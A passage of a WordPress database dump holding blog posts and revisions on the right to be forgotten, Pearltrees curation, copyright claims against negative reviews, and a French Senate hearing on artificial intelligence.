be informed and the right to be forgotten. This is exactly the mission devoted to search engines, main instrument of pointing users to available digital information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As always, you can read all relevant opinions and publications on my Pearltrees under&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/right-forgotten/id1603963\" target=\"_blank\" rel=\"noreferrer noopener\">\'Right to be forgotten\'</a>&nbsp;(click on each square to access the website).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Updates :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.blog.google/topics/google-europe/three-years-right-to-be-forgotten-balance/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\" rel=\"noreferrer noopener\">Three years of striking the right (to be forgotten) balance</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"http://www.stefankulk.nl/index.php/1770/dutch-dpa-releases-new-data-about-the-right-to-be-forgotten/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\">Dutch DPA shares new data about the Right to be Forgotten</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nextinpact.com/news/104294-droit-a-loubli-google-plaide-pour-mise-en-balance-interets-en-presence.htm\">« Droit à l’oubli » : Google plaide pour la mise en balance des intérêts en présence</a><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mobile-reuters-com.cdn.ampproject.org/c/mobile.reuters.com/article/amp/idUSKCN18C1QX\">EU judges to tackle \'right to be forgotten\' again</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><a href=\"https://www.rcfp.org/sites/default/files/RCFP_CNIL_Sept14-English.pdf\"><em>The Reporters Committee for Freedom of the Press</em></a><em> and the undersigned<br> news and journalism organizations write to express concerns regarding the notice given by CNIL to Google Inc. on May 21, 2015 ordering the company to apply new delisting requirements to all domains of the search engine and not merely to its domains in the European Union. In making its order public, CNIL referred specifically to its desire to “inform . . . content publishers . . . of the scope . . . of the right to obtain erasure of personal data.”1 It is in that spirit of dialogue that we offer these objections.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a <a rel=\"noreferrer noopener\" href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','The Right to be Forgotten is No Censorship','','inherit','closed','closed','','833-revision-v1','','','2020-05-02 13:27:49','2020-05-02 12:27:49','',833,'https://datarainbow.eu/2020/05/02/833-revision-v1/',0,'revision','',0),(838,5,'2020-05-02 13:37:47','2020-05-02 12:37:47','<!-- wp:paragraph -->\n<p>In this digital era, freely available data is overwhelming. Data storage has become excessively&nbsp;cheap or free. Access to valid information is capital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the light of the recent terrorists attacks, our Western intelligence agencies have proved to have missed this ability of efficiently process the mass of collected data. They were not able to prevail terrorists attacks. Mohammed Mehra,&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/amedy-coulibaly-freres-kouashi/id13426226\" target=\"_blank\" rel=\"noreferrer noopener\">Amedy Coulibaly, or the brother Kouashi</a>, they were all known and tracked by security agencies,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what went wrong? Probably the right process and analysis of the information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What every organisation could learn from this experience?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mass data or more sophistically called ‘Big Data’, is only the step one towards knowledge and wisdom. Processed data that is organised and accurate is worthy of gold. As for personal information, data minimisation, accuracy and data not kept longer than necessary are the basic requirements of the Data Protection principles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Knowing how efficiently organize information with minimal cost is crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>that brings me to the Peartrees.&nbsp;<a href=\"https://www.pearltrees.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>&nbsp;is a useful tool for collecting and cataloging topics. This free application is a visual and collaborative curation tool to organize, explore and share any URL, document, picture or note. Just like classified paper documents in folders with the ability to duplicate, share, and add editorials, available everywhere, accessible on any electronic device. The curation can be public and shared with other members of the platform or private. Topics are searchable within your own folders or within the community. Very quickly and easily, the Pearltrees can become the ‘<em>place for your interests</em>’. Everywhere you read a piece, your browser App lets you ‘<em>pearl</em>’ the page you are visiting to be stored in a specific file or leave it on your ‘<em>drop zone</em>’ for later. The product features a unique visual interface that allows users to drag and organise collected URLs, and other digital files that themselves can be further organised into collections and sub-collections.You can also engage in&nbsp;<a href=\"http://en.wikipedia.org/wiki/social\" target=\"_blank\" rel=\"noreferrer noopener\">social</a>/<a href=\"http://en.wikipedia.org/wiki/collaborative\" target=\"_blank\" rel=\"noreferrer noopener\">collaborative</a>&nbsp;<a href=\"http://en.wikipedia.org/wiki/digital_curation\" target=\"_blank\" rel=\"noreferrer noopener\">curation</a>&nbsp;using a feature called \'<em>Pearltrees Teams\'</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have been \'feeding\' my Pearltrees for some time. I have therefore created an exhaustive collection of concurring publications on the subjects of my specialities, IT/IP law, social media, eCommerce, Privacy and Data Protection, or elearning for the last few years. This mass of information has been organised by theme. Where books, especially law books are fast obsolete, these Pearltrees are an ongoing project that can be constantly updated and maintained.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to&nbsp;<a href=\"http://en.wikipedia.org/wiki/Pearltrees\" target=\"_blank\" rel=\"noreferrer noopener\">Wikipedia</a>&nbsp;“<em>Pearltrees claims to be one of the largest communities of curators on the web;</em>&nbsp;<em>by December 2011, the company claimed to have over 300,000 registered users and as of March 2012 the number had increased to over 400,000.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The company also claims to have broken the one million unique visitors per month barrier in January 2012 and to have received in excess of 30,000,000 page views that same month.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are few other online tools of information management based on cloud storage such as&nbsp;<a href=\"https://delicious.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Delicious</a>&nbsp;for the oldest,&nbsp;<a href=\"https://www.diigo.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Diigo</a>&nbsp;or&nbsp;<a href=\"https://www.zotero.org/\" target=\"_blank\" rel=\"noreferrer noopener\">Zotero</a>. The Pearltrees has the best visual interface. The same result could be achieved with other tools. The main point is to bookmark, organise and personalise the information easily accessible and shareable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An example of how data can be collected to gather information around a conference is my curation of the major&nbsp;<a href=\"https://clarinettesblog.wordpress.com/2015/01/23/catching-up-with-the-annual-cdpd-conference-in-brussels/\" target=\"_blank\" rel=\"noreferrer noopener\">Computers, Privacy and Data Protection conference this Month in Brussels</a>. Simply click on any square to access the relevant information, would it be a link to a webpage, a Pdf or a text or a picture.<br></p>\n<!-- /wp:paragraph -->','Bigger Than Big Data, Processed Information is Gold','','publish','closed','closed','','bigger-than-big-data-processed-information-is-gold','','\nhttps://clarinettesblog.wordpress.com/2015/01/23/catching-up-with-the-annual-cdpd-conference-in-brussels/','2020-08-26 17:33:38','2020-08-26 16:33:38','',0,'http://datarainbow.eu/?p=838',0,'post','',0),(839,5,'2020-05-02 13:37:47','2020-05-02 12:37:47','<!-- wp:paragraph -->\n<p>In this digital era, freely available data is overwhelming. Data storage has become excessively&nbsp;cheap or free. Access to valid information is capital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the light of the recent terrorists attacks, our Western intelligence agencies have proved to have missed this ability of efficiently process the mass of collected data. They were not able to prevail terrorists attacks. Mohammed Mehra,&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/amedy-coulibaly-freres-kouashi/id13426226\" target=\"_blank\" rel=\"noreferrer noopener\">Amedy Coulibaly, or the brother Kouashi</a>, they were all known and tracked by security agencies,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what went wrong? Probably the right process and analysis of the information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What every organisation could learn from this experience?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mass data or more sophistically called ‘Big Data’, is only the step one towards knowledge and wisdom. Processed data that is organised and accurate is worthy of gold. As for personal information, data minimisation, accuracy and data not kept longer than necessary are the basic requirements of the Data Protection principles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Knowing how efficiently organize information with minimal cost is crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>that brings me to the Peartrees.&nbsp;<a href=\"https://www.pearltrees.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>&nbsp;is a useful tool for collecting and cataloging topics. This free application is a visual and collaborative curation tool to organize, explore and share any URL, document, picture or note. Just like classified paper documents in folders with the ability to duplicate, share, and add editorials, available everywhere, accessible on any electronic device. The curation can be public and shared with other members of the platform or private. Topics are searchable within your own folders or within the community. Very quickly and easily, the Pearltrees can become the ‘<em>place for your interests</em>’. Everywhere you read a piece, your browser App lets you ‘<em>pearl</em>’ the page you are visiting to be stored in a specific file or leave it on your ‘<em>drop zone</em>’ for later. The product features a unique visual interface that allows users to drag and organise collected URLs, and other digital files that themselves can be further organised into collections and sub-collections.You can also engage in&nbsp;<a href=\"http://en.wikipedia.org/wiki/social\" target=\"_blank\" rel=\"noreferrer noopener\">social</a>/<a href=\"http://en.wikipedia.org/wiki/collaborative\" target=\"_blank\" rel=\"noreferrer noopener\">collaborative</a>&nbsp;<a href=\"http://en.wikipedia.org/wiki/digital_curation\" target=\"_blank\" rel=\"noreferrer noopener\">curation</a>&nbsp;using a feature called \'<em>Pearltrees Teams\'</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have been \'feeding\' my Pearltrees for some time. I have therefore created an exhaustive collection of concurring publications on the subjects of my specialities, IT/IP law, social media, eCommerce, Privacy and Data Protection, or elearning for the last few years. This mass of information has been organised by theme. Where books, especially law books are fast obsolete, these Pearltrees are an ongoing project that can be constantly updated and maintained.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to&nbsp;<a href=\"http://en.wikipedia.org/wiki/Pearltrees\" target=\"_blank\" rel=\"noreferrer noopener\">Wikipedia</a>&nbsp;“<em>Pearltrees claims to be one of the largest communities of curators on the web;</em>&nbsp;<em>by December 2011, the company claimed to have over 300,000 registered users and as of March 2012 the number had increased to over 400,000.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The company also claims to have broken the one million unique visitors per month barrier in January 2012 and to have received in excess of 30,000,000 page views that same month.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are few other online tools of information management based on cloud storage such as&nbsp;<a href=\"https://delicious.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Delicious</a>&nbsp;for the oldest,&nbsp;<a href=\"https://www.diigo.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Diigo</a>&nbsp;or&nbsp;<a href=\"https://www.zotero.org/\" target=\"_blank\" rel=\"noreferrer noopener\">Zotero</a>. The Pearltrees has the best visual interface. The same result could be achieved with other tools. The main point is to bookmark, organise and personalise the information easily accessible and shareable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An example of how data can be collected to gather information around a conference is my curation of the major&nbsp;<a href=\"https://clarinettesblog.wordpress.com/2015/01/23/catching-up-with-the-annual-cdpd-conference-in-brussels/\" target=\"_blank\" rel=\"noreferrer noopener\">Computers, Privacy and Data Protection conference this Month in Brussels</a>. Simply click on any square to access the relevant information, would it be a link to a webpage, a Pdf or a text or a picture.<br></p>\n<!-- /wp:paragraph -->','Bigger Than Big Data, Processed Information is Gold','','inherit','closed','closed','','838-revision-v1','','','2020-05-02 13:37:47','2020-05-02 12:37:47','',838,'https://datarainbow.eu/2020/05/02/838-revision-v1/',0,'revision','',0),(841,5,'2020-05-02 13:45:42','2020-05-02 12:45:42','<!-- wp:paragraph -->\n<p>Update December 2016 : You can no longer be sued for leaving negative reviews online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Late February, a court ruled in favor of a dentist claiming copyright protection on her patients\' reviews. In this case, surprisingly enough the dentist, prior to any treatment, had asked clients to sign a confidentiality agreement to benefit from a copyright over any comments made about her or her practice. The case is&nbsp;<a href=\"http://www.scribd.com/doc/257553352/Default-Judgment-Feb-27-2015-Lee-v-Makhenevich-1-11-cv-08665-SDNY\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Lee v. Makhenevich</em></a>, 1:11-cv-08665 (SDNY).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This did not threatened enough unhappy clients to publish negative Yelp reviews. Consequently, the dentist rushed to mute the comments by claiming copyright protection. As it is reported \'<em>Several of the dentist’s patients filed a class action suit in November 2011 in the Southern District of New York (SDNY), claiming that, even if Defendant does indeed own the copyright in these comments, they were not infringing under the fair use defense of Section 107 of the Copyright Act. Defendant moved to dismiss but the motion was denied on March 27, 2013, by Judge Paul A. Crotty from the SDNY.</em>\' The case has been&nbsp;<a href=\"http://the1709blog.blogspot.co.uk/2015/03/dentist-claiming-to-own-copyright-in.html\" target=\"_blank\" rel=\"noreferrer noopener\">commented by Marie-Andree Weiss</a>&nbsp;for 1709 Copyright Law Blog.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is another demonstration of how a copyright claim can be used to deny freedom of speech. The interconnection between copyright and privacy protection, with freedom of speech is not always obvious at first to the general practitioners. It remains an important legal base increasingly invoked by celebrities. Some of the cases have involved the UK celebrity, Max Molsey, the case of Van Hanover, Naomi Campbell, The Church of Scientology, and few others curated on my&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/copyr-privacy-conflict-press/id1456918\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>&nbsp;(click on each box to access the relevant article).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me know what other major case is missing from this collection. I keep my curations regularly updated so if you are interested by the subject, do revisit the link for updates. You an read more about my curations on \'<a href=\"http://www.linkedin.com/pulse/bigger-than-big-data-processed-information-gold-taubman-bassirian?trk=prof-post\" target=\"_blank\" rel=\"noreferrer noopener\">Bigger Than Big Data, Processed Information is Gold\'</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A different way of protecting ones reputation than what this&nbsp;<a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">restaurant manager did to turn a negative review on his favour.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">Read more:</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">Eric Goldman :&nbsp;</a><a href=\"http://www.forbes.com/sites/ericgoldman/2015/11/02/how-congress-can-protect-online-consumer-reviews/#266370ab2ce7\" target=\"_blank\" rel=\"noreferrer noopener\">How Congress Can Protect Online Consumer Reviews</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://blog.ericgoldman.org/archives/2016/08/hassell-v-bird.htm\" target=\"_blank\" rel=\"noreferrer noopener\">The Internet Rallies Against A Terrible Section 230 Ruling–Hassell v. Bird</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2367092\" target=\"_blank\" rel=\"noreferrer noopener\">Patients’ Online Reviews of Physicians</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"http://www.fertilitybridge.com/blog/2016/3/3/legalconsiderationswhenrespondingtoonlinepatientreviews\" target=\"_blank\">Legal Considerations When Responding to Online Patient Reviews: An Interview with Eric Goldman</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?\">You can no longer be sued for leaving negative reviews online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mashable.com/2016/01/14/tripadvisor-review-response/?europe=true&amp;utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\">Restaurant owner brilliantly shuts down disgruntled TripAdvisor reviewer</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Published by</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.linkedin.com/in/taubmanbassirian/\">Status is onlineTara TAUBMAN-BASSIRIAN LLM </a>GDPR, Data Protection and IP consultant - Voted Privacy Hero of the YearPublished • </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" target=\"_blank\" href=\"http://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheNextWeb+%28The+Next+Web+All+Stories%29\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:embed {\"url\":\"http:\\/\\/mashable.com\\/2016\\/01\\/14\\/tripadvisor-review-response\\/?utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\"} -->\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttp://mashable.com/2016/01/14/tripadvisor-review-response/?utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\n</div></figure>\n<!-- /wp:embed -->','Copyright Claim to Deny Freedom of Speech','','publish','closed','closed','','copyright-claim-to-deny-freedom-of-speech','','','2020-05-02 13:45:45','2020-05-02 12:45:45','',0,'http://datarainbow.eu/?p=841',0,'post','',0),(842,5,'2020-05-03 02:06:59','2020-05-03 01:06:59','<!-- wp:paragraph -->\n<p>Thursday, 19th January 2017, the French ‘Office parlementaire d\'évaluation des choix scientifiques et technologiques (OPECST)’ hold a public hearing on Artificial Intelligence in the Senate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Five ‘table ronde’ or round table were organised mostly with academics on the different aspects of the societal moves due to Artificial Intelligence (AI or IA in French) :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The technologies related to the AI ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Strategic dimensions in AI research ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Political, societal and economical questions raised by the development of AI ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ethical issues raised by AI ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Legal challenges due to the application of AI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was pointed that some milestone progress on deep learning has been achieved. Machines have surpassed human champions in most intellectually challenging games, including Chess, Scrabble, Othello, even Jeopardy. On March 2016, the Google AlphaGo DeepMind’s Artificial Intelligence program beat Lee Sedol, the strongest Go player in the world. Go—a 2,500-year-old game is far more complex than Chess. An exceptional powerful computer had to process more than 30 million moves. In 2011, IBM Watson won against two of Jeopardy\'s greatest champions creating a big buzz in the tech community. It was early 1996 when Deep Blue won its first game against a world chess champion, when it defeated Garry Kasparov. Gerard Sabah, Research Directeur at CNRS points that IBM Watson used 3000 processors, far more than any publicly available computer, disposing over 3 million pages of encyclopaedia. Benoit Le Blanc, Lecturer in Computer Science at the Polytechnic Institute of Bordeaux (IPB) , Deputy Director of the Ecole Nationale Supérieure de Cognitique in Bordeaux (ENSC), Researcher in the Cognition and Human Engineering (CIH) team of the Laboratory of Materials Integration (IMS), Ecole Nationale Supérieure de Cognitique de Bordeaux (ENSC), insists on the importance of interdisciplinary and human-machine collaboration. He reminded that these results were only possible thanks to the feed of experienced human expert players.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Machines can process large amount of data much faster than any human. They still can’t take initiative. They can’t make sense of what they do. They would not be able to explain why they did it. Furthermore, as Francois TADDEI mentioned, machines can perform in one area, can win a specific game, remaining unable to play any other game Machines lack the capacity to question themselves, still a human exclusivity. For Jean-Daniel Kant, Professor at University Pierre et Marie Curie, the future of machine learning is in the multidisciplinary study to understand and recreate human behaviour. Collective Artificial Intelligence system can achieve multi-agents, autonomous machines. The objectif being to create intelligent machines to replace human.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>David Sadek, Directeur of research at Institut des Mines, Institut des Telecoms, points that machines are not yet capable of emotional intelligence. They lack reasoning, unable of producing language or any introspection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jean-Gabriel Ganascia, Professor at Paris University of Science Pierre et Marie Curie, LIPSIS, President of the Ethics Committee, mentions the technical progress made in Facial recognition. Google\'s Facenet accuracy is said to be of 99,63 %, higher than any human performance. The result is achieved thanks to the study of 200 million images. Another area of progress concerns Conversational agents such as Amazon\'s Echo or Apple\'s Siri.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Gerard Sabah explains how Google Deep Dream can recognise a cat within millions of images, however still would not know how to explain what a cat is. He sees the future of the AI in hybridation of AI and human.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Artificial Intelligence raises several ethical challenges. In case of imminence of a collision, who should the autonomous car, protect at first? The car, the driver, a pedestrian, or…? Human and machine’s logical thinking do not have same considerations. On the question of appropriate human decision making, David Sadek mentioned the a Battleship game used by US marines for training. The software always won the battle as it would its own ships drain if touched to maximise the progress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laurent Alexandre, Founder of Doctrissimo website and specialist of Transhumanisme, reminded there was no equivalent of Facebook or Google in Europe raising the issue of digital sovereignty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Several speakers mentioned the challenges of sovereignty, in Political, Financial, Judicial and even personal identities in a context where social media can know more on individuals ID than the government. What is France\'s position with regard to the major US companies who have considerably invested in AI- the GAFA, Google, Apple, Facebook and Amazon - financially and in human resources. on the other side, there is the BATX, Baidu, Alibaba, Tencent. Xiaomi. How could France retain its scientific forces and maybe offer more long term research budgets?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In France, academic research remains too isolated from the industry as mentioned by Yves Demazeau, Directeur de recherche au CNRS a Grenoble, Directeur de l’Association Française pour la recherche en Intelligence Artificielle (AFIA).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Gilles Dowek, Research directeur at l’INRIA and adjunct professor at l’ENS Paris-Saclay, suggested we spoke of Artificial intelligences, in plural as they are a variety of AI each with different ethical challenges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Will machine ever be able to replace human? The impact of AI in the workplace remains uncertain. Would the least skilled jobs disappear or the intermediary level ones as consider Jean-Daniel KANT (professor a l\'university des Sciences, Pierre et Marie Curie) ? How many jobs will be created by the AI ? There is no clear answer. For Marie-Claire Carrere-Gee, Présidente du Conseil d’orientation pour l’emploi, only 10% of jobs would be threatened by the AI if the market adapts itself fast enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Should machine have a legal personality? Alain Bensoussan is an attorney specialised in advanced technologies defining himself as “the advocate for the rights of robots and their sovereignty”. According to him, the right must adapt to the growing role that Artificial Intelligence plays in our lives. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Human freedom is framed by the legal entity and the freedom of other holders of rights and obligations is framed by a legal person. In the same way, because robots are automatons, intelligent maR chines capable of making decisions autonomously, I think that it is necessary to create the notion of a robot person. With everything that it implies: the robot’s identification so that we know who we addressing, responsibility, a governance equivalent to that of legal persons, a capital, an insurance and full traceability, like constant monitoring of their actions to use as proof of their eventual responsibility”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alain Bensoussan is the author of a charter on the rights of robots. See Report for EU Parliament by Mady Delvaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, another major challenge of AI is privacy compliance. Isabelle Falque-Perrotin, Data Protection Authority at the CNIL, reminded that AI had been identified by the privacy community during the International Conference of Data Protection and Privacy Commissioners in Marakech. She pointed the four factors making AI and data protection appear antinomic : 1- AI has a massive need of data, where data protection suppose data minimisation. 2- The principle of limitation of data storage, where AI needs to store data to memorise. 3- Data security, how to secure data that is invisible? 4- data subject rights suppose an informed consent, while the AI is a machine in constant transformation. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still many challenges to overcome for a harmonious development of artificial intelligence in accordance with human rights.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was announced that the CNIL is launching a debate with all parties involved in AI. Following the Law for a Digital Republic, the CNIL has been tasked by Axelle Lemaire, French Deputy Minister for Innovation and Digital Affairs, to launch a wide reflection on the place of algorithms, organising a round of debate around this topic, which should be completed in September with a report on the subject.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ‘Conseil national du numérique (CNNum)’ will have to come up with a tool to collect public’s chalenges with algorithms, while INRIA will coordinate the launch of a platform called TransAlgo, for the development of the transparency and accountability of algorithmic systems. You can watch the video of the launch of Agoranov, the new French Artificial Intelligence strategy here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have left out the questions of bioethics. What AI and robotics can bring to medical sciences? How will they disrupt genetics or radiology or skin cancer research for instance? Will robots replace doctors and should they become decision maker? I will post on this specific subject treated at a recent European Forum on Bioethics in Strasbourg.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Update : Google’s AlphaGo AI beats world’s best human Go player. This is a major step as Go is an even more complex game than chess responding to a more intuitive logic than the mathematical logic of the chess.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>AlphaGo retires from competitive Go after defeating world number one 3-0.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further read on Pearltrees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can no longer be sued for leaving negative reviews online</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->','France Initiatives to Tackle the Challenges of Artificial Intelligence','','inherit','closed','closed','','821-autosave-v1','','','2020-05-03 02:06:59','2020-05-03 01:06:59','',821,'https://datarainbow.eu/2020/05/02/821-autosave-v1/',0,'revision','',0),(843,5,'2020-05-02 13:45:42','2020-05-02 12:45:42','<!-- wp:paragraph -->\n<p>Update December 2016 : You can no longer be sued for leaving negative reviews online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Late February, a court ruled in favor of a dentist claiming copyright protection on her patients\' reviews. In this case, surprisingly enough the dentist, prior to any treatment, had asked clients to sign a confidentiality agreement to benefit from a copyright over any comments made about her or her practice. The case is&nbsp;<a href=\"http://www.scribd.com/doc/257553352/Default-Judgment-Feb-27-2015-Lee-v-Makhenevich-1-11-cv-08665-SDNY\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Lee v. Makhenevich</em></a>, 1:11-cv-08665 (SDNY).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This did not threatened enough unhappy clients to publish negative Yelp reviews. Consequently, the dentist rushed to mute the comments by claiming copyright protection. As it is reported \'<em>Several of the dentist’s patients filed a class action suit in November 2011 in the Southern District of New York (SDNY), claiming that, even if Defendant does indeed own the copyright in these comments, they were not infringing under the fair use defense of Section 107 of the Copyright Act. Defendant moved to dismiss but the motion was denied on March 27, 2013, by Judge Paul A. Crotty from the SDNY.</em>\' The case has been&nbsp;<a 